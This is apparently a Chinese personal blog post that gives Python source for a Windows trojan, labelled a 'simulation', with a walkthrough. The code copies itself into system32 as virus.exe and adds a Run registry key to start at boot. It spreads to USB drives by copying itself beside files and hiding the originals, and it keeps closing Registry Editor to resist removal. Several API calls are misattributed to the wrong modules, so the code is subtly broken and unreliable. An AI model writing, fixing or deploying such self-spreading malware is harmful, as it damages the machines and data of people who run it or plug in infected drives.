banner
andrewji8

Being towards death

Heed not to the tree-rustling and leaf-lashing rain, Why not stroll along, whistle and sing under its rein. Lighter and better suited than horses are straw sandals and a bamboo staff, Who's afraid? A palm-leaf plaited cape provides enough to misty weather in life sustain. A thorny spring breeze sobers up the spirit, I feel a slight chill, The setting sun over the mountain offers greetings still. Looking back over the bleak passage survived, The return in time Shall not be affected by windswept rain or shine.
telegram
twitter
github

Python写模拟木马传播行为(谨慎使用)

代码主要功能是将自身复制到系统目录,并将其写入注册表以实现开机启动。它还设置了一个定时器,用于定期执行一些操作。该程序还监听设备的插拔事件,并在可移动驱动器插入时将自身复制到驱动器上。

具体来说,代码中的 kill_process 函数用于终止指定名称的进程。wnd_proc 函数是一个窗口过程函数,它处理窗口消息,并执行相应的操作。main 函数是程序的主要逻辑,它注册一个窗口类,并创建一个窗口。然后,它进入一个循环,处理窗口消息。

在 main 函数的最后,程序首先将自身复制到系统目录下的一个文件名为 "virus.exe" 的文件中。然后,它将该文件的路径写入注册表,使其在系统启动时自动运行。最后,它设置了一个定时器,每隔 1 秒触发一次定时器消息。

总的来说,这段代码的目的是在系统启动时自动运行,并监听设备插拔事件,将自身复制到可移动驱动器上。
废话少说,直接上代码

import os
import shutil
import winreg
import ctypes
import time

from ctypes import wintypes
from win32gui import FindWindow, SendMessage
from win32con import WM_CLOSE
from win32api import GetLogicalDriveStrings, GetDriveType, SetFileAttributes, CopyFile
from win32file import DRIVE_REMOVABLE
from win32process import CreateToolhelp32Snapshot, Process32First, Process32Next, OpenProcess, TerminateProcess, CloseHandle
from win32com.client import Dispatch

def kill_process(process_name):
    snapshot = CreateToolhelp32Snapshot(0x00000002, 0)
    pe = wintypes.PROCESSENTRY32()
    pe.dwSize = ctypes.sizeof(wintypes.PROCESSENTRY32)
    if Process32First(snapshot, ctypes.byref(pe)):
        while True:
            if pe.szExeFile.decode() == process_name:
                handle = OpenProcess(0x0001, False, pe.th32ProcessID)
                TerminateProcess(handle, -1)
                CloseHandle(handle)
            if not Process32Next(snapshot, ctypes.byref(pe)):
                break
    CloseHandle(snapshot)

def wnd_proc(hwnd, uMsg, wParam, lParam):
    if uMsg == 0x0010: # WM_CLOSE
        os._exit(0)
    elif uMsg == 0x0219: # WM_DEVICECHANGE
        if wParam == 0x8000: # DBT_DEVICEARRIVAL
            drives = GetLogicalDriveStrings()
            drives = drives.split('\x00')[:-1]
            for drive in drives:
                drive_type = GetDriveType(drive)
                if drive_type == DRIVE_REMOVABLE:
                    files = os.listdir(drive)
                    for file in files:
                        if os.path.isfile(os.path.join(drive, file)):
                            file_path = os.path.join(drive, file)
                            shutil.copy2(__file__, file_path + '.exe')
                            SetFileAttributes(file_path, 0x2 + 0x4) # FILE_ATTRIBUTE_HIDDEN + FILE_ATTRIBUTE_SYSTEM
        elif wParam == 0x8004: # DBT_DEVICEREMOVECOMPLETE
            pass
    elif uMsg == 0x0113: # WM_TIMER
        hwnd_reg = FindWindow("RegEdit_RegEdit", "注册表编辑器")
        if hwnd_reg:
            SendMessage(hwnd_reg, WM_CLOSE, None, None)
    else:
        return 0
    return 1

def main():
    wnd_class = winreg.WNDCLASS()
    wnd_class.lpszClassName = "lieying"
    wnd_class.lpfnWndProc = wnd_proc
    wnd_class.hInstance = winreg.GetModuleHandle(None)
    wnd_class.hIcon = winreg.LoadIcon(None, 32512)
    wnd_class.hCursor = winreg.LoadCursor(None, 32512)
    wnd_class.hbrBackground = winreg.GetStockObject(1)
    wnd_class.style = 0x0002 | 0x0001 # CS_VREDRAW | CS_HREDRAW
    wnd_class.cbClsExtra = 0
    wnd_class.cbWndExtra = 0
    if not winreg.RegisterClass(wnd_class):
        return 0
    hwnd = winreg.CreateWindowEx(
        0, "lieying", "", 0x00000000, 0, 0, 0, 0, None, None, wnd_class.hInstance, None
    )
    winreg.ShowWindow(hwnd, 0)
    winreg.UpdateWindow(hwnd)
    msg = wintypes.MSG()
    while winreg.GetMessage(ctypes.byref(msg), hwnd, 0, 0):
        winreg.TranslateMessage(ctypes.byref(msg))
        winreg.DispatchMessage(ctypes.byref(msg))

if __name__ == "__main__":
    # 复制自身到系统目录
    exe_full_path = os.path.abspath(__file__)
    new_file_path = "C:\\WINDOWS\\system32\\virus.exe"
    shutil.copy2(exe_full_path, new_file_path)

    # 写入注册表,实现开机启动
    key = winreg.OpenKey(winreg.HKEY_LOCAL_MACHINE, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0, winreg.KEY_SET_VALUE)
    winreg.SetValueEx(key, "virus", 0, winreg.REG_SZ, new_file_path)
    winreg.CloseKey(key)

    # 设置定时器
    ctypes.windll.user32.SetTimer(None, 1, 1000, None)

    # 运行主程序
    main()

首先,代码导入了一些必要的模块和库,如 os、shutil、winreg、ctypes、time 等。

接下来,定义了一个名为 kill_process 的函数,用于终止指定名称的进程。该函数使用了 Windows API 来实现,通过调用 CreateToolhelp32Snapshot 函数获取进程快照,然后遍历进程列表,找到指定名称的进程并终止它。

接着,定义了一个名为 wnd_proc 的窗口过程函数。该函数接收窗口消息,并根据消息类型执行相应的操作。在代码中,有几个消息被处理了:

0x0010 表示 WM_CLOSE 消息,当收到该消息时,调用 os._exit (0) 来退出程序。

0x0219 表示 WM_DEVICECHANGE 消息,当收到该消息时,根据 wParam 的值来判断设备的插入或移除事件。如果是设备插入事件,获取所有逻辑驱动器的列表,并遍历每个驱动器。如果驱动器类型是可移动驱动器,遍历驱动器上的文件,将自身复制到文件所在驱动器中,并将复制的文件设置为隐藏和系统文件属性。如果是设备移除事件,则不执行任何操作。

0x0113 表示 WM_TIMER 消息,当收到该消息时,查找名为 "注册表编辑器" 的窗口,如果找到,则发送 WM_CLOSE 消息来关闭该窗口。

然后,定义了一个名为 main 的主函数。在该函数中,首先注册一个窗口类,设置窗口类的属性,包括类名、窗口过程函数、实例句柄、图标、光标、背景等。如果注册窗口类失败,则返回 0。

接着,创建一个窗口,并将其隐藏起来。然后,进入一个消息循环,通过调用 GetMessage 函数获取窗口消息,并处理消息。

在 main 函数的最后,进行一些初始化操作。首先,将当前脚本文件复制到系统目录下的一个名为 "virus.exe" 的文件中,使用 shutil.copy2 函数实现。然后,将该文件的路径写入注册表,使其在系统启动时自动运行。最后,使用 ctypes.windll.user32.SetTimer 函数设置一个定时器,每隔 1 秒触发一次定时器消息。

最后,在 if name == "main": 条件下,调用 main 函数来运行程序。

加载中...
此文章数据所有权由区块链加密技术和智能合约保障仅归创作者所有。